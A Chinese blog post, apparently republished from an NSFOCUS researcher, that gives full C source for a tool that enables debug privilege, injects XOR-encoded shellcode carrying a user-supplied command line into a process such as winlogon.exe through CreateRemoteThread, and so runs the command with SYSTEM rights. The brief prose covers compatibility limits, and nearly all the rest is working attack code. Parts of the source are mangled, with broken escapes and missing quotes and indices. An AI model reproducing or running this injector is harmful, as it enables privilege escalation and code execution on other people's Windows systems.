远程线程注入版获取SYSTEM权
前段时间写〈〈exploit系列(6)--x86/Windows平台上的缓冲区溢出〉〉,其间涉及远程
线程注入,想到本篇,返回来补充一点内容。sysproc_now.c并不具备良好的可移植
性,为了区分2000/XP/2003,被迫用GetVersionEx()做精确的OS版本判断。相较之下
远程线程注入更易移植些。
如果试图向winlogon.exe进行远程线程注入,编程时需要指定恰当的WindowStation,
否则可能无法与派生的子进程正常交互。
在MSDN中查看GetProcessWindowStation、GetUserObjectInformation等相关函数。
参看Inside 2K([7])第五章的"Interactive Services"小节。
使用终端服务测试CreateRemoteThread_1.c时,可能得到如下错误信息:
"CreateRemoteThread() failed: 存储空间不足,无法处理此命令"
在主控台上测试则一切正常。开始以为是WindowStation的问题,转而动态获取其名
称,错误信息依旧。后来才想起MSDN中有如下信息:
Terminal Services isolates each terminal session by design. Therefore,
CreateRemoteThread fails if the target process is in a different session
than the calling process.
暂不清楚是否有办法解决,如果没有办法解决,那sysproc_now.c还有存在的必要。
--------------------------------------------------------------------------
/*
* Copyright (C) 2002, 2012
* The NSFOCUS INFORMATION TECHNOLOGY CO.,LTD.
* -----------------------------------------------------------------------
* Author : NSFocus Security Team 〈security@nsfocus.com〉
* : http://www.nsfocus.com
* Maintain : scz 〈scz@nsfocus.com〉
* Version : 2.02
* Compile : For x86/EWindows XP SP1 & VC 7
* : cl CreateRemoteThread_1.c /nologo /Os /G6 /Gs65536 /W3 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /MT /link /RELEASE
* :
* Create : 2003-10-08 13:37
* Modify : 2003-10-08 17:02
* -----------------------------------------------------------------------
* The only thing they cant take from us are our minds. !H
*/
/************************************************************************
* *
* Head File *
* *
************************************************************************/
#include 〈stdio.h〉
#include 〈stdlib.h〉
#include 〈string.h〉
#include 〈windows.h〉
/************************************************************************
* *
* Macro *
* *
************************************************************************/
#pragma comment( linker, "/INCREMENTAL:NO" )
#pragma comment( linker, "/subsystem:console" )
#pragma comment( lib, "kernel32.lib" )
#pragma comment( lib, "advapi32.lib" )
#define VERSION "2.02"
#define MAXBUFLEN 8192
#define CHARBASE A
#define CHARESCAPE _
#define CHARXOR ^
typedef LONG NTSTATUS;
#define NT_SUCCESS(status) ((NTSTATUS)(status)〉=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef LONG KPRIORITY;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemProcessesAndThreadsInformation = 5
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;
typedef ULONG ( __stdcall *RTLNTSTATUSTODOSERROR ) ( IN NTSTATUS Status );
typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL );
/************************************************************************
* *
* Function Prototype *
* *
************************************************************************/
static size_t bufencode
(
unsigned char *src,
unsigned char *dst,
size_t srclen
);
static BOOL DisableCurrentProcessDebugPrivilege
(
void
);
static BOOL EnableCurrentProcessDebugPrivilege
(
void
);
static DWORD GetPidFromProcessName
(
wchar_t *ProcessName
);
static BOOL LocateNtdllEntry
(
void
);
static DWORD __stdcall PnameToPid
(
char *ProcessName
);
static void PrintWin32ErrorCUI
(
char *message,
DWORD dwMessageId
);
static void PrintZwErrorCUI
(
char *message,
NTSTATUS status
);
static BOOL SetCurrentProcessPrivilege
(
LPCTSTR PrivilegeName,
BOOL EnableFlag
);
static BOOL SetPrivilege
(
HANDLE TokenHandle,
LPCTSTR PrivilegeName,
BOOL EnableFlag
);
static void usage
(
char *arg
);
/************************************************************************
* *
* Static Global Var *
* *
************************************************************************/
static RTLNTSTATUSTODOSERROR RtlNtStatusToDosError = NULL;
static ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
static unsigned char code[] =
"/xEB/x19/x5E/x8B/xFE/x33/xD2/xFC/xAC/x3A/xC2/x74/x13/x3C/x5F/x74"
"/x05/x34/x5E/xAA/xEB/xF2/xAC/x2C/x41/xEB/xF6/xE8/xE2/xFF/xFF/xFF"
"/xB7/x8F/x5F/xA0/x5E/x5E/x0B/xD5/xB2/x0F/xDD/x3B/xA2/x5E/xD5/x1B"
"/x56/x51/xE0/x5E/xDB/x9E/x2A/x7C/xD5/x1B/xA2/x9F/xBE/x5B/xD5/x13"
"/xA2/x9F/xB7/x45/x55/x9F/xD5/x13/x56/x51/xE0/x57/x5D/x9F/xD7/x1B"
"/xA2/xD5/x1B/x56/x1E/xD7/x1B/x56/xB5/x8A/xD5/x1B/xA2/x97/x9C/x5A"
"/x5E/x0B/xD5/xB2/xDD/xB2/x06/x34/x1A/xD3/x1B/xF6/x0E/xB6/xBD/x5E"
"/x5E/x5E/x99/x1B/xF6/x1A/x5E/x5E/x5E/x99/x1B/x8A/x5F/xA0/x5E/x5E"
"/x5E/xD5/x1B/x4E/xD7/x1B/xEE/x38/x99/x1B/x86/x5F/xA0/x5E/xA1/x2B"
"/x4E/xB6/xCF/x5E/x5E/x5E/xD5/x13/x4E/xD3/x1A/x5F/xA0/x5F/xA0/xD7"
"/x1B/x4E/xD3/x1B/xAE/x0E/xD3/x1B/xF6/x0E/x34/x5E/x34/x5E/x36/x4E"
"/x5C/x5E/x5E/x34/x5F/xA0/x34/x5E/x34/x5E/xA1/x2B/x4E/x34/x5E/xA1"
"/x0B/x56/xDB/x9E/x2A/x52/xA1/x2B/xAA/xA1/x0B/x52/xA1/x2B/xAE/xA1"
"/x0B/x52/x97/x9C/x52/x5E/x0B/xD5/xB2/x0F/x0F/xD5/x1B/x42/xD7/x1B"
"/xA6/xDD/x3B/xA2/x5E/xB5/x59/xD5/x1B/xA2/x1E/xD7/x1B/xA2/xD5/x1B"
"/xA2/x65/x1B/x7E/x2D/x73/xD5/x1B/xA6/xA1/x6E/xA1/x2B/x46/xA1/x2B"
"/x4A/xA1/x2B/x4E/xA1/x2B/x52/xA1/x2B/x56/xB6/x29/x5E/x5E/x5E/xD5"
"/x13/xA2/xD5/x0B/x7A/xD7/x5A/xD4/xD5/x1B/xA6/xDD/x9E/x5A/xD7/x1B"
"/xA6/xB5/x9A/xD5/x1B/xA6/x97/x9C/x7E/x5E/x0B/xD5/xB2/x0F/x0F/xDD"
"/x3B/xA6/x5E/xD5/x1B/x56/xD7/x1B/xA2/xD5/x1B/xA2/x51/xE0/x5E/xD5"
"/x13/xA2/x1F/xD7/x13/xA2/xDB/x9E/x2A/x57/xD5/x1B/xA6/x1E/xD7/x1B"
"/xA6/xB5/xB8/xD5/x1B/xA6/x97/x9C/x5A/x5E/x0B/xD5/xB2/x0F/xDD/x3B"
"/xA2/x5E/xB5/x59/xD5/x1B/xA2/x1E/xD7/x1B/xA2/xD5/x1B/xA2/x65/x1B"
"/x52/x2D/x51/xD5/x1B/x56/xDE/x7E/x5E/xD5/x1B/x56/x1E/xD7/x1B/x56"
"/xB5/xBC/x97/x9C/x56/x5E/x0B/xD5/xB2/xDD/xB2/x4E/xDD/x3B/xA6/x5E"
"/xDD/x3B/xA2/x5E/xDD/x3B/xAA/x5E/xDD/x3B/xAE/x5E/xDD/x3B/xA6/x5E"
"/xB5/x59/xD5/x1B/xA6/x1E/xD7/x1B/xA6/xD5/x1B/xA6/x65/x1B/x46/x2D"
"/x1B/xD5/x1B/xA6/xD5/x13/x4E/xD5/x0B/x56/x5D/x4A/xDF/xD7/x0B/xAA"
"/xA1/x2B/xAA/xB6/x3D/xA0/xA1/xA1/xD7/x1B/xA2/xD5/x1B/xA2/x65/x1B"
"/x42/x2B/x7F/xD5/x1B/xA6/xD5/x13/x4A/x51/xE9/x5A/x1F/xD7/x1B/xA6"
"/xD5/x1B/xA6/xD5/x13/x52/xD5/x0B/x56/x5D/x4A/xDF/xD7/x0B/xAE/xD5"
"/x1B/xAE/xB5/x5A/xB5/xF2/x6D/x9E/x97/x9C/x46/x5E/x0B/xD5/xB2/xDD"
"/xB2/x66/xDD/x3B/xB2/x5E/xDD/x3B/xA2/x5E/xDD/x3B/xBE/x5E/xDD/x3B"
"/x8A/x5E/xDD/x3B/x86/x5E/xDD/x3B/xAE/x5E/xDD/x3B/xAA/x5E/xDD/x3B"
"/x82/x5E/xDD/x3B/xA6/x5E/xDD/x3B/x96/x5E/xDD/x3B/xB6/x5E/xDD/x3B"
"/xBA/x5E/xB7/xEF/x5E/x5E/x5E/xD1/x1B/xBA/xE6/xB7/xDC/x1E/x5E/x73"
"/xB9/xDC/x1E/x5E/x5F/xA0/x1B/xBA/x3A/xFF/x6E/x5E/x5E/x5E/xD7/x1B"
"/xB2/xD5/x1B/xB2/xD5/x1E/x52/xD7/x1B/xA2/xD5/x1B/xA2/xD5/x1E/x42"
"/xD7/x1B/xBE/xD5/x1B/xBE/xD5/x5E/xD7/x1B/xBE/xD5/x1B/xBE/xD5/x1E"
"/x56/xD7/x1B/x8A/xD5/x1B/x8A/xD5/x1E/x62/xD7/x1B/xB6/xD5/x1B/x8A"
"/x5D/x1B/xB6/xD5/x13/x8A/x5D/x16/x26/xD7/x13/x86/xD5/x1B/x86/xD5"
"/x1E/x46/xD7/x1B/xAE/xD5/x1B/x86/xD5/x1E/x42/x5D/x1B/x8A/xD7/x1B"
"/xAA/xD5/x1B/x86/xD5/x1E/x7E/x5D/x1B/x8A/xD7/x1B/x82/xD5/x1B/x86"
"/xD5/x1E/x7A/x5D/x1B/x8A/xD7/x1B/x96/xD3/x1B/x92/x0E/x34/x5C/xA1"
"/x2B/xBA/xA1/x2B/xAE/xA1/x2B/x96/xA1/x2B/x82/xA1/x2B/xAA/xA1/x2B"
"/x8A/xB6/x5F/xA0/xA0/xA1/xA1/xD7/x1B/xBA/xA1/x2B/xBA/xA1/x2B/x8E"
"/xA1/x2B/x92/xB6/xDE/xA3/xA1/xA1/xB5/x5B/xB6/x14/xA1/xA1/xA1/x97"
"/x9D/x95/x1C/x29/xE6/xC8/xCE/x3C/x89/x09/x37/x30/x0D/x2A/x3F/x6E"
"/x02/x1A/x3B/x38/x3F/x2B/x32/x2A/x5E";
/************************************************************************/
static size_t bufencode ( unsigned char *src, unsigned char *dst, size_t srclen )
{
unsigned char c;
size_t i, j;
for ( i = 0, j = 0; i 〈 srclen; i++, j++ )
{
dst[j] = src ^ CHARXOR;
c = dst[j];
if ( 0x00 == c || CHARESCAPE == c )
{
dst[j] = CHARESCAPE;
j++;
dst[j] = c + CHARBASE;
}
}
return( j );
} /* end of bufencode */
static BOOL DisableCurrentProcessDebugPrivilege ( void )
{
return( SetCurrentProcessPrivilege( SE_DEBUG_NAME, FALSE ) );
} /* end of DisableCurrentProcessDebugPrivilege */
static BOOL EnableCurrentProcessDebugPrivilege ( void )
{
return( SetCurrentProcessPrivilege( SE_DEBUG_NAME, TRUE ) );
} /* end of EnableCurrentProcessDebugPrivilege */
static DWORD GetPidFromProcessName ( wchar_t *ProcessName )
{
NTSTATUS status;
PVOID buf = NULL;
ULONG size = 1;
PSYSTEM_PROCESSES proc = NULL;
ULONG delta = 0;
DWORD pid = 0;
for ( size = 1; ; size *= 2 )
{
if ( NULL == ( buf = calloc( size, 1 ) ) )
{
fprintf( stderr, "calloc( %u, 1 ) failed/n", size );
goto GetPidFromProcessName_exit;
}
status = ZwQuerySystemInformation( SystemProcessesAndThreadsInformation, buf, size, NULL );
if ( !NT_SUCCESS( status ) )
{
if ( STATUS_INFO_LENGTH_MISMATCH == status )
{
free( buf );
buf = NULL;
}
else
{
PrintZwErrorCUI( "ZwQuerySystemInformation() failed", status );
goto GetPidFromProcessName_exit;
}
}
else
{
break;
}
} /* end of for */
proc = ( PSYSTEM_PROCESSES )buf;
do
{
if ( NULL != proc-〉ProcessName.Buffer )
{
if ( 0 == _wcsicmp( ProcessName, proc-〉ProcessName.Buffer ) )
{
pid = proc-〉ProcessId;
break;
}
}
delta = proc-〉NextEntryDelta;
proc = ( PSYSTEM_PROCESSES )( ( char * )proc + delta );
}
while ( 0 != delta );
GetPidFromProcessName_exit:
if ( buf != NULL )
{
free( buf );
buf = NULL;
}
return( pid );
} /* end of GetPidFromProcessName */
static BOOL LocateNtdllEntry ( void )
{
BOOL ret = FALSE;
char NTDLL_DLL[] = "ntdll.dll";
HMODULE ntdll_dll = NULL;
if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
{
PrintWin32ErrorCUI( "GetModuleHandle() failed", GetLastError() );
return( ret );
}
if ( !( RtlNtStatusToDosError = ( RTLNTSTATUSTODOSERROR )GetProcAddress
(
ntdll_dll,
"RtlNtStatusToDosError"
) ) )
{
goto LocateNtdllEntry_exit;
}
if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress
(
ntdll_dll,
"ZwQuerySystemInformation"
) ) )
{
goto LocateNtdllEntry_exit;
}
ret = TRUE;
LocateNtdllEntry_exit:
if ( FALSE == ret )
{
PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
}
ntdll_dll = NULL;
return( ret );
} /* end of LocateNtdllEntry */
static DWORD __stdcall PnameToPid ( char *ProcessName )
{
int i;
WCHAR *ProcessNameW = NULL;
DWORD Pid = 0;
i = MultiByteToWideChar
(
CP_ACP,
0,
ProcessName,
( int )( strlen( ProcessName ) + 1 ),
NULL,
0
);
if ( 0 == i )
{
PrintWin32ErrorCUI( "MultiByteToWideChar() failed [0]", GetLastError() );
goto InjectCodeToProcessByName_exit;
}
ProcessNameW = ( WCHAR * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, i * sizeof( WCHAR ) );
if ( NULL == ProcessNameW )
{
PrintWin32ErrorCUI( "HeapAlloc() failed", ERROR_NOT_ENOUGH_MEMORY );
goto InjectCodeToProcessByName_exit;
}
if ( 0 == MultiByteToWideChar
(
CP_ACP,
0,
ProcessName,
( int )( strlen( ProcessName ) + 1 ),
ProcessNameW,
i
) )
{
PrintWin32ErrorCUI( "MultiByteToWideChar() failed [1]", GetLastError() );
goto InjectCodeToProcessByName_exit;
}
wprintf( L"%s/n", ProcessNameW );
if ( 0 == ( Pid = GetPidFromProcessName( ProcessNameW ) ) )
{
fprintf( stderr, "GetPidFromProcessName() failed/n" );
goto InjectCodeToProcessByName_exit;
}
InjectCodeToProcessByName_exit:
if ( NULL != ProcessNameW )
{
HeapFree( GetProcessHeap(), 0, ProcessNameW );
ProcessNameW = NULL;
}
return( Pid );
} /* end of PnameToPid */
static void PrintWin32ErrorCUI ( char *message, DWORD dwMessageId )
{
char *errMsg;
FormatMessage
(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dwMessageId,
MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
( LPTSTR )&errMsg,
0,
NULL
);
fprintf( stderr, "%s: %s", message, errMsg );
LocalFree( errMsg );
return;
} /* end of PrintWin32ErrorCUI */
static void PrintZwErrorCUI ( char *message, NTSTATUS status )
{
char *errMsg;
FormatMessage
(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
RtlNtStatusToDosError( status ),
MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
( LPTSTR )&errMsg,
0,
NULL
);
fprintf( stderr, "%s: %s", message, errMsg );
LocalFree( errMsg );
return;
} /* end of PrintZwErrorCUI */
static BOOL SetCurrentProcessPrivilege ( LPCTSTR PrivilegeName, BOOL EnableFlag )
{
HANDLE TokenHandle = ( HANDLE )-1;
BOOL ret = TRUE;
if ( FALSE == OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle ) )
{
PrintWin32ErrorCUI( "OpenProcessToken() failed", GetLastError() );
ret = FALSE;
goto SetCurrentProcessPrivilege_exit;
}
ret = SetPrivilege( TokenHandle, PrivilegeName, EnableFlag );
SetCurrentProcessPrivilege_exit:
if ( TokenHandle != ( HANDLE )-1 )
{
CloseHandle( TokenHandle );
TokenHandle = ( HANDLE )-1;
}
return( ret );
} /* end of SetCurrentProcessPrivilege */
static BOOL SetPrivilege ( HANDLE TokenHandle, LPCTSTR PrivilegeName, BOOL EnableFlag )
{
DWORD error;
BOOL ret = FALSE;
TOKEN_PRIVILEGES tp =
{
1,
{
{ { 0, 0 }, 0 }
}
};
if ( TRUE == EnableFlag )
{
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}
if ( FALSE == LookupPrivilegeValue( NULL, PrivilegeName, &tp.Privileges[0].Luid ) )
{
PrintWin32ErrorCUI( "LookupPrivilegeValue() failed", GetLastError() );
goto SetPrivilege_exit;
}
if ( FALSE == AdjustTokenPrivileges( TokenHandle, FALSE, &tp, sizeof( tp ), NULL, NULL ) )
{
PrintWin32ErrorCUI( "AdjustTokenPrivileges() failed", GetLastError() );
goto SetPrivilege_exit;
}
else
{
error = GetLastError();
if ( ERROR_SUCCESS != error )
{
PrintWin32ErrorCUI( "AdjustTokenPrivileges() failed", error );
goto SetPrivilege_exit;
}
}
ret = TRUE;
SetPrivilege_exit:
return( ret );
} /* end of SetPrivilege */
static void usage ( char *arg )
{
fprintf
(
stderr,
"Usage: %s [-h] [-v] [-c cmdline] [-p pid] [-q pname]/n",
arg
);
exit( EXIT_FAILURE );
} /* end of usage */
int __cdecl main ( int argc, char * argv[] )
{
int ret = EXIT_FAILURE,
c;
HANDLE hProcess = NULL,
hThread = NULL;
char *cmdline = NULL;
DWORD pid = 0;
char *pname = NULL;
LPVOID remotebuf = NULL;
unsigned char buf[MAXBUFLEN];
size_t j;
if ( 1 == argc )
{
usage( argv[0] );
}
for ( c = 1; c 〈 argc; c++ )
{
if ( ( ( argv[c][0] != - ) && ( argv[c][0] != / ) ) || ( strlen( argv[c] ) 〈 2 ) )
{
usage( argv[0] );
}
else
{
switch ( tolower( argv[c][1] ) )
{
case c:
if ( ( c + 1 ) 〉= argc )
{
usage( argv[0] );
}
cmdline = argv[++c];
break;
case p:
if ( ( c + 1 ) 〉= argc )
{
usage( argv[0] );
}
pid = ( DWORD )strtoul( argv[++c], NULL, 0 );
break;
case q:
if ( ( c + 1 ) 〉= argc )
{
usage( argv[0] );
}
pname = argv[++c];
break;
case v:
fprintf( stderr, "%s ver "VERSION"/n", argv[0] );
return( EXIT_SUCCESS );
case h:
case ?:
default:
usage( argv[0] );
break;
} /* end of switch */
}
} /* end of for */
if ( NULL == cmdline )
{
fprintf( stderr, "Checking your [-c cmdline]/n" );
return( ret );
}
if ( 0 == pid && NULL == pname )
{
fprintf( stderr, "Checking your [-p pid] [-q pname]/n" );
return( ret );
}
EnableCurrentProcessDebugPrivilege();
ZeroMemory( buf, sizeof( buf ) );
j = strlen( code );
memcpy( buf, code, j );
j += bufencode( cmdline, buf + j, strlen( cmdline ) + 1 ) + 1;
if ( FALSE == LocateNtdllEntry() )
{
fprintf( stderr, "LocateNtdllEntry() failed/n" );
goto main_exit;
}
if ( NULL != pname )
{
pid = PnameToPid( pname );
}
if ( 0 == pid )
{
fprintf( stderr, "Checking your [-p pid] [-q pname]/n" );
goto main_exit;
}
else
{
printf( "pid = %u/n", pid );
}
hProcess = OpenProcess
(
PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION |
PROCESS_VM_READ |
PROCESS_VM_WRITE,
FALSE,
pid
);
if ( NULL == hProcess )
{
PrintWin32ErrorCUI( "OpenProcess() failed", GetLastError() );
goto main_exit;
}
remotebuf = VirtualAllocEx
(
hProcess,
NULL,
j,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if ( NULL == remotebuf )
{
PrintWin32ErrorCUI( "VirtualAllocEx() failed", GetLastError() );
goto main_exit;
}
if ( 0 == WriteProcessMemory
(
hProcess,
remotebuf,
buf,
j,
NULL
) )
{
PrintWin32ErrorCUI( "WriteProcessMemory() failed", GetLastError() );
goto main_exit;
}
hThread = CreateRemoteThread
(
hProcess,
NULL,
0,
( LPTHREAD_START_ROUTINE )remotebuf,
NULL,
0,
NULL
);
if ( NULL == hThread )
{
PrintWin32ErrorCUI( "CreateRemoteThread() failed", GetLastError() );
goto main_exit;
}
if ( WAIT_FAILED == WaitForSingleObject( hThread, INFINITE ) )
{
PrintWin32ErrorCUI( "WaitForSingleObject() failed", GetLastError() );
goto main_exit;
}
printf( "/nYou should see this message/n" );
ret = EXIT_SUCCESS;
main_exit:
if ( NULL != hThread )
{
CloseHandle( hThread );
hThread = NULL;
}
if ( NULL != hProcess )
{
if ( NULL != remotebuf )
{
VirtualFreeEx( hProcess, remotebuf, 0, MEM_RELEASE );
remotebuf = NULL;
}
CloseHandle( hProcess );
hProcess = NULL;
}
DisableCurrentProcessDebugPrivilege();
return( ret );
} /* end of main */
/************************************************************************/
本文介绍了一种通过远程线程注入技术在Windows系统中获取SYSTEM权限的方法,探讨了不同操作系统的兼容性问题,并给出了代码示例。文章讨论了在尝试向winlogon.exe注入时可能遇到的WindowStation交互问题,以及在终端服务环境下可能出现的错误。此外,还提供了相关的API函数和函数原型,以及代码实现细节。
699

被折叠的 条评论
为什么被折叠?



